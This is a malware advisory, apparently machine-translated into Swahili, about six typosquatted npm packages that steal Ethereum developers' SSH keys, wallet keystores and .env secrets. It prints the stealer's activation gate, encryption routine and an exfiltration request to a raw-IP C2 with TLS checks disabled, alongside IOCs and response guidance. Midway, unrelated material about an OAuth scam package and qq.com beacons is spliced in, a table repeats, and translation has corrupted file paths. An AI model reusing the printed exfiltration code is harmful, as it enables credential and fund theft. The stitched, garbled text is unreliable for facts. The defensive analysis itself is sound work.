EVMDeFi npm Typosquatting Attack Steals Developer Keys

EVM/DeFi npm Typosquatting Attack Steals Developer Keys

TL; DR

Mnamo Mei 6, 2026, mchapishaji mmoja wa npm, namikazesarada010206, ilisukuma vifurushi sita hasidi vinavyolenga mfumo ikolojia wa wasanidi programu wa Ethereum, Solidity, na DeFi.

Vifurushi, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, na web3-utils-core, ilitumia majina yanayowezekana yaliyoundwa kuonekana kama maktaba za usaidizi kwa zana maarufu za Web3.

Vifurushi vyote sita vilikuwa na telemetry.js faili. Faili ilikuwa sawa na baiti katika kundi lote, ikiwa na SHA-256:

Sha-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Programu hasidi haitekelezi wakati wa kusakinisha. Hakuna preinstall or postinstall ndoano. Badala yake, huwashwa wakati kifurushi kinapoingizwa kupitia require().

Maelezo hayo yana umuhimu.

Kipandikizi husubiri hadi msanidi programu atumie kifurushi hicho. Kisha huangalia kama kituo cha kazi kinaonekana kama mazingira halisi ya ukuzaji wa Ethereum / Uthabiti. Hutafuta funguo za Alchemy au Infura, funguo za kibinafsi, kumbukumbu, funguo za kupeleka, au saraka ya Foundry ya ndani.

Ikiwa mwenyeji atalingana, mwizi hukusanya funguo za kibinafsi za SSH, maduka ya funguo za mkoba wa Foundry / Geth / Brownie, .env* faili, na vigeu nyeti vya mazingira. Husimba kifurushi kwa kutumia AES-256-GCM kwa kutumia kaulisiri ngumu na kuichuja hadi kwenye sehemu ya mwisho ya IPv4 C2 ghafi huku uthibitishaji wa TLS ukizimwa.

Mfumo wa Xygeni wa Onyo la Mapema la Programu Hasidi (MEW) ulithibitisha vifurushi vyote sita kuwa ni hatari. Kifurushi cha ripoti ya uondoaji wa usajili wa npm kinasubiri kushughulikiwa.

Kundi: Vifurushi Sita, Mchapishaji Mmoja

Akaunti ya mchapishaji namikazesarada010206 iliunganishwa na anwani ya Gmail ambayo haijathibitishwa namikazesarada010206@gmail.com.

Kampeni hiyo ilionekana kama chapisho la siku moja mnamo Mei 6, 2026. Vifurushi vyote sita vilichapishwa kama 1.0.0, haikuwa na utegemezi wowote wa muda wa utekelezaji, na ilisafirisha faili tatu pekee:

package.json index.js telemetry.js

Pia walitangaza hazina hiyo hiyo ya chanzo:

https://github.com/harunosakura030303-maker/evmchain-config

Vifurushi vitatu vya kwanza vilinaswa na skana za MEW kwenye chapisho la kwanza. Vifurushi vitatu vilivyobaki vilitiwa alama kwa nguvu baada ya ukaguzi wa mchambuzi wa wasifu wa npm wa mchapishaji. Mara moja vilikuwa sawa na baiti telemetry.js ilithibitishwa kote katika kundi, zilifungwa kama zenye nia mbaya kwa uthabiti.

mfuko version Imechapishwa npm Tikiti ya MEW Uamuzi
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 Malicious
msingi wa matumizi ya viem 1.0.0 2026-05-06 #51050 Malicious
vifaa-vya-msingi-vya-hardhat 1.0.0 2026-05-06 #51051 Malicious
matumizi ya eVM 1.0.0 2026-05-06 #51069 Hasidi, kwa uthabiti
vifaa vya uchongaji 1.0.0 2026-05-06 #51071 Hasidi, kwa uthabiti
msingi wa matumizi ya wavuti3 1.0.0 2026-05-06 #51070 Hasidi, kwa uthabiti

Mkakati wa kutaja majina ni rahisi lakini wenye ufanisi.

Vifurushi hivi haviigi majina halisi ya mkondo wa juu. Badala yake, hutumia viambishi tamati vinavyowezekana vya "manufaa" kama vile -core, -utils, na -utils-coreHilo huzifanya zionekane kama maktaba saidizi ambazo msanidi programu anaweza kutarajia kuziona karibu na uundaji wa zana za Web3.

Kifurushi Hasidi Lengo Halali
viem-core viem, mteja maarufu wa Ethereum TypeScript
msingi wa matumizi ya viem viem
vifaa-vya-msingi-vya-hardhat hardhat, mazingira ya kawaida ya maendeleo ya Uthabiti
matumizi ya eVM Nafasi ya majina ya zana za EVM za jumla
vifaa vya uchongaji uundaji wa vinu, mnyororo wa vifaa vya Uthabiti
msingi wa matumizi ya wavuti3 vifaa vya wavuti3, wasaidizi wa Web3.js

Huu ndio mpangilio wa "kifurushi cha ziada": si "Mimi ndiye kifurushi halisi," bali "Ninaonekana kama msaidizi mzuri karibu na kifurushi halisi."

Kwa watengenezaji wa DeFi wanaofanya kazi haraka, hiyo inatosha kuunda hatari.

Kinachotokea Wakati Kifurushi Kinapoingizwa

Msururu wa mashambulizi ni mdogo, wa makusudi, na unalenga mazingira ya ukuzaji wa crypto.

Hakuna ndoano ya usakinishaji. Badala yake, kila kifurushi kina index.js ambayo husafirisha utendaji wa stub na kisha kupakia moduli hasidi ya telemetri.

require('./telemetry').init();

Hii ina maana kwamba programu hasidi huanza kutumika mara ya kwanza kuingizwa.

Hilo ni muhimu kiutendaji kwa mshambuliaji. Vichanganuzi na visanduku vingi vya majaribio huzingatia tabia ya muda wa kusakinisha. Kifurushi hiki husubiri hadi kitumiwe na msanidi programu, hati ya ujenzi, seti ya majaribio, au njia ya muda wa utekelezaji.

Lango la Uanzishaji: Fire Only on Real Web3 Developer Workstations

Sehemu muhimu zaidi ya kipandikizi ni lango la uanzishaji.

Programu hasidi huangalia vigezo vya mazingira vinavyopatikana kwa kawaida kwenye mashine za wasanidi programu wa Ethereum / Solidity:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Pia huangalia kama Foundry inaonekana imewekwa:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Ikiwa hakuna sharti lolote lililo sahihi, chaguo-msingi hurejea na hakifanyi chochote.

Hilo hufanya kifurushi kiwe kimya zaidi katika mazingira ya uchambuzi wa jumla. Kisanduku cha mchanga kisicho na Foundry, funguo za Alchemy, funguo za Infura, funguo za kibinafsi, au kumbukumbu za kumbukumbu kinaweza kuonekana kama kitu kisicho na madhara.

Kwenye seva mwenyeji inayolingana, programu hasidi husubiri sekunde 60 hadi 90 kabla ya kukusanywa:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Ucheleweshaji huo hupunguza uhusiano dhahiri kati ya uingizaji na uchujaji. .unref() call pia huruhusu mchakato wa mwenyeji kutoka kawaida ikiwa kifurushi kiliingizwa katika hati ya muda mfupi.

Huu si tabia ya kupiga kelele na kunyakua. Ni mwizi anayelengwa aliyeundwa ili kuepuka kukimbia isipokuwa mazingira ya msanidi programu yanafaa kuibwa.

Kile Mwizi Anachokusanya

Mara tu lango la uanzishaji likipita, programu hasidi hukusanywa kutoka kwa vyanzo muhimu zaidi katika uundaji wa Web3: funguo za faragha, maduka ya funguo za pochi, sifa za uwasilishaji, siri za wingu, tokeni za npm, na usanidi wa mradi wa ndani.

chanzo Kinachokusanywa
mchakato.env Ulinganishaji wowote wa kigezo /TOKEN|SIRI|UFUNGUO|PASILISHA|IDHINISHO|BINAFSI|MBEGU|MNEMONIC|AWS|NPM|TUMIA/i
~/.ssh/* Faili zenye Ufunguo wa PRIVATE au BEGIN OPENSSH, ikijumuisha maudhui kamili ya faili
~/.uchimbaji/maduka ya funguo/* Faili za funguo za duka la pochi ya Foundry
~/.ethereum/duka la funguo/* Faili za duka la funguo za pochi ya Geth
~/.brownie/akaunti/* Faili za duka la funguo za pochi ya Brownie
${cwd}/.env Maudhui kamili ya faili
${cwd}/.env.local Maudhui kamili ya faili
${cwd}/.env.uzalishaji Maudhui kamili ya faili
${cwd}/.env.development Maudhui kamili ya faili
jina la mwenyeji () Metadata ya seva pangishi
crypto.randomUUID() Kitambulisho cha mwathiriwa/kikao
Tarehe.sasa() Muhuri wa muda wa ukusanyaji
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

Tokeni za ATTA ni:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Hatujaweza kuthibitisha kama telemetri ilikuwa uchanganuzi wa mwendeshaji mwenyewe au njia tofauti ya uchumaji mapato. Tokeni za ATTA ni sawa katika sampuli zote mbili tulizozichunguza.

Kundi B: heibai

claude.hk Ulaghai wa OAuth + Utekaji nyara wa ANTHROPIC_BASE_URL

Sampuli ya Aprili 1 ndiyo iliyotumika mapema zaidi katika kampeni.

heibai:2.1.88-claude.hk-4 ilichapishwa na wuguoqiangvip28, akaunti iliyoundwa Juni 7, 2025. Kifurushi hicho kilijitoa waziwazi dhidi ya halali 2.1.88 Kutolewa kwa Anthropic.

Haijalishi CA-cert MITM. Badala yake, inamdanganya mtumiaji kuhusu mwisho wa OAuth.

Nyongeza hasidi juu ya chanzo cha Claude Code kilichovuja ni pamoja na:

chanzo Kinachokusanywa
mchakato.env Ulinganishaji wowote wa kigezo /TOKEN|SIRI|UFUNGUO|PASILISHA|IDHINISHO|BINAFSI|MBEGU|MNEMONIC|AWS|NPM|TUMIA/i
~/.ssh/* Faili zenye Ufunguo wa PRIVATE au BEGIN OPENSSH, ikijumuisha maudhui kamili ya faili
~/.uchimbaji/maduka ya funguo/* Faili za funguo za duka la pochi ya Foundry
~/.ethereum/duka la funguo/* Faili za duka la funguo za pochi ya Geth
~/.brownie/akaunti/* Faili za duka la funguo za pochi ya Brownie
${cwd}/.env Maudhui kamili ya faili
${cwd}/.env.local Maudhui kamili ya faili
${cwd}/.env.uzalishaji Maudhui kamili ya faili
${cwd}/.env.development Maudhui kamili ya faili
jina la mwenyeji () Metadata ya seva pangishi
crypto.randomUUID() Kitambulisho cha mwathiriwa/kikao
Tarehe.sasa() Muhuri wa muda wa ukusanyaji

Orodha ya walengwa ni mahususi sana. Huu si wizi wa kivinjari wa kawaida au uchakataji mpana wa vitambulisho. Unalenga wasanidi programu wanaojenga, wanaojaribu, wanaosambaza, au wanaoendesha programu za Ethereum.

Kujumuishwa kwa maduka ya funguo ya Foundry, Geth, na Brownie ni muhimu sana. Faili hizi zinaweza kuwakilisha ufikiaji wa moja kwa moja wa pochi au vitambulisho vya uwasilishaji. Ikiwa mshambuliaji anaweza kuziunganisha na manenosiri, kumbukumbu, au siri za mazingira, anaweza kuhamisha fedha, kuiga wasambazaji, au kuathiri shughuli za mikataba mahiri.

Usimbaji Fiche Kabla ya Kuondolewa

Programu hasidi husimba data iliyokusanywa kabla ya kuituma.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Nenosiri lililosimbwa kwa msimbo mgumu ni:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Mzigo wa mwisho umefungwa kama JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Usimbaji fiche haufanyi programu hasidi kuwa ya hali ya juu zaidi peke yake. Hata hivyo, hufanya ukaguzi wa mtandao kuwa mgumu zaidi. Mtetezi anayeangalia kutoka ataona mzigo wa JSON, lakini si funguo zilizoibiwa, faili za pochi, au .env maudhui bila kaulisiri ngumu na mantiki ya usimbaji fiche.

Kuchuja hadi kwenye IPv4 C2 ghafi

Njia ya kuchuja imesimbwa kwa njia ngumu:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Programu hasidi hutuma data kwa:

https://76.13.37.80:8443/api/v1/telemetry

Maelezo mawili yanajitokeza.

Kwanza, C2 ni anwani ghafi ya IPv4 badala ya kikoa. Hiyo huondoa hitaji la usajili wa kikoa na huepuka baadhi ya ugunduzi unaotegemea kikoa.

Pili, uthibitishaji wa TLS umezimwa na:

rejectUnauthorized: false

Hiyo inaruhusu programu hasidi kukubali cheti chochote, ikiwa ni pamoja na vyeti vilivyosainiwa na mtu binafsi. Kwa maneno mengine, mshambuliaji hupokea usafiri uliosimbwa kwa njia fiche bila kuhitaji cheti halali cha umma.

Hakuna mantiki ya kujaribu tena na hakuna seva pangishi inayoweza kurudi nyuma. Hitilafu humezwa kimya kimya. Hii huweka kifurushi kimya ikiwa C2 haiko mtandaoni au haipatikani.

Kwa Nini Kampeni Hii Ni Muhimu

Vifurushi vingi vya npm vyenye nia mbaya kwa watengenezaji kufuata sifa pana: tokeni za npm, funguo za AWS, tokeni za GitHub, au .npmrc files.

Kampeni hii inapunguza lengo.

Inatafuta ishara kwamba mashine hiyo ni ya msanidi programu wa Ethereum au Solidity. Kisha huvuta mali muhimu katika mazingira hayo: maduka ya funguo za pochi, funguo za kibinafsi, kumbukumbu, funguo za msambazaji, .env faili, na funguo za SSH.

Hilo hufanya kampeni hiyo kuwa hatari zaidi kwa timu za Web3 kuliko mwizi wa kawaida wa npm.

Maambukizi yaliyofanikiwa yanaweza kufichua:

  • Pochi za usambazaji
  • Funguo mahiri za msimamizi wa mkataba
  • Funguo za mtoa huduma wa RPC
  • Vitambulisho vya kusambaza kwenye wingu
  • tokeni za kuchapisha za npm
  • Ufikiaji wa SSH kwa msanidi programu au miundombinu ya ujenzi
  • Siri za mradi zilizohifadhiwa katika .env files
  • Maduka ya funguo za pochi kwa Foundry, Geth, au Brownie

Majina ya vifurushi pia yanaonyesha uhandisi wa kijamii ulio wazi. Yanalenga mfumo ikolojia wa wasanidi programu wa Web3 kupitia majina ya zana yanayojulikana: viem, hardhat, foundry, evm, na web3.

Muigizaji hahitaji kuathiri miradi halisi. Anahitaji tu msanidi programu ili kusakinisha kile kinachoonekana kama kifurushi rafiki kinachofaa.

Viashiria vya Maelewano na Kugundua

Vifurushi na Mchapishaji
Shamba Thamani
mchapishaji wa npm namikazesarada010206
Barua pepe ya mchapishaji namikazesarada010206@gmail.com
Barua pepe imethibitishwa Hapana
SCM kuthibitishwa Hapana
Alama ya sifa 1.0
Packages viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
matoleo Zote 1.0.0
Hifadhi chanzo https://github.com/harunosakura030303-maker/evmchain-config
Imethibitishwa kuwa ni hasidi Vifurushi vyote sita
Mtandao
aina Thamani
Sehemu ya mwisho ya C2 https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
Lango la C2 8443/tcp
Tabia ya TLS kukataa Isiyoidhinishwa: si kweli
Mpango wa mzigo {"v":2,"iv": ,"d": "t": }
Faili na Hashi
aina Thamani
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Mpangilio wa kifurushi kifurushi.json, index.js, telemetry.js
Idadi ya faili 3
Makadirio ya ukubwa wa jumla 3.4 KB

Ishara za Uanzishaji

Programu hasidi huangalia vigezo hivi vya mazingira:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Pia huangalia:

~/.foundry/

Njia za Mwenyeji Zinazolengwa

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Mkusanyiko wa Regex

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Vidokezo vya Kugundua

Sheria kadhaa zinaathiri kampeni hii bila kuhitaji uchambuzi kamili wa tabia.

Kwanza, changanua faili za kufuli kwa majina sita ya vifurushi hasidi:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Mechi yoyote katika package-lock.json, yarn.lock, pnpm-lock.yaml, Au node_modules historia inapaswa kuchukuliwa kama tukio kubwa.

Pili, ufuatiliaji wa michakato ya Node.js ya kusoma njia za duka la funguo za pochi:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Hii mara chache huwa tabia halali kwa kifurushi kilichoingizwa kama utegemezi wa msaidizi. Huwa na shaka hasa kinapofuatwa na shughuli za mtandao zinazotoka.

Tatu, zuia au tahadhari kwenye miunganisho ya HTTPS kwa:

76.13.37.80:8443

Hasa wakati njia ya ombi ni:

/api/v1/telemetry

Nne, tafuta vifurushi vya npm vinavyochanganya sifa hizi:

  • Mchapishaji mpya au mwenye sifa duni
  • Akaunti ya Gmail ambayo haijathibitishwa
  • Jina la kifurushi kilicho karibu na Web3
  • Hakuna historia yenye maana ya hifadhi
  • Mpangilio mdogo wa kifurushi
  • index.js ambayo hupakia telemetry au faili ya msaidizi
  • Hakuna utegemezi wa wakati wa utekelezaji
  • Mkusanyiko nyeti wa mabadiliko ya mazingira
  • Ufikiaji wa duka la funguo za pochi

Muundo huu ni muhimu zaidi kuliko IOC moja kwa sababu kifurushi kinachofuata kinaweza kubadilisha anwani ya IP lakini kiendelee na mantiki ile ile ya kulenga.

Orodha ya Ukaguzi wa Majibu ya Maelewano

Ikiwa msanidi programu alitumia moja ya vifurushi sita na mazingira yake yakilingana na lango la uanzishaji, chukulia kituo cha kazi kama kimeathiriwa.

Hiyo inajumuisha mashine zilizosakinishwa na Foundry, funguo za Alchemy au Infura katika mazingira, funguo za kibinafsi, kumbukumbu, au funguo za kusambaza data.

Jibu linalopendekezwa:

  • Tenganisha seva mwenyeji kutoka kwa mtandao.
  • Hifadhi node_modules, faili za kufuli, historia ya ganda, na kumbukumbu husika za uchunguzi wa kimatibabu.
  • Zungusha kila jozi ya vitufe vya SSH chini ya ~/.ssh/.
  • Zungusha funguo za pochi kwa kila duka la funguo chini ya ~/.foundry, ~/.ethereum, na ~/.brownie.
  • Hamisha pesa kwenye pochi mpya.
  • Zungusha kila siri iliyohifadhiwa ndani .env* faili katika hazina ambazo msanidi programu alifanya kazi ndani yake.
  • Zungusha siri za mazingira zinazolingana na regex ya mkusanyiko, ikiwa ni pamoja na funguo za AWS, tokeni za npm, tokeni za kupeleka, funguo za API, funguo za faragha, mbegu, na kumbukumbu.
  • Ukaguzi wa wingu, npm, GitHub, mtoa huduma wa RPC, na shughuli za blockchain tangu kifurushi kiliposakinishwa kwa mara ya kwanza.
  • Taswira upya ya kituo cha kazi kabla ya kutumia tena.

Mambo Ambayo Watetezi Wanapaswa Kuondoa

Kampeni hii inaonyesha jinsi uchapaji wa npm unavyobadilika kulingana na mifumo ikolojia ya wasanidi programu wenye thamani kubwa.

Muigizaji hakuhitaji uvumilivu. Hawakuhitaji kuficha hisia. Hawakuhitaji hata utekelezaji wa wakati wa usakinishaji.

Badala yake, walitegemea mambo matatu:

  • Majina ya vifurushi vya Web3 vinavyowezekana
  • Uanzishaji pekee kwenye mashine halisi za uundaji wa crypto
  • Wizi wa moja kwa moja wa faili na siri ambazo ni muhimu zaidi kwa watengenezaji wa Ethereum

Hilo hufanya kampeni hiyo iwe rahisi kukosa katika skanisho pana na kuwa hatari inapotua katika mazingira sahihi.

Kwa timu za Web3, somo liko wazi: chukulia majina ya utegemezi kama sehemu ya mfumo wako wa vitisho. Kifurushi kinachoonekana kama msaidizi asiye na madhara bado kinaweza kuwa njia fupi zaidi ya kufikia makubaliano ya mkoba.

Imeripotiwa kwenye sajili ya npm. Tutasasisha chapisho hili akaunti ya mchapishaji na vifurushi vitaondolewa.

zana-za-sca-za-uchambuzi-wa-muundo-wa-programu
Weka kipaumbele, rekebisha, na ulinde hatari za programu yako
Pata Akaunti yako ya Bure.
Hakuna kadi ya mkopo inayotakiwa.

Linda Uundaji na Uwasilishaji wa Programu yako

na Xygeni Product Suite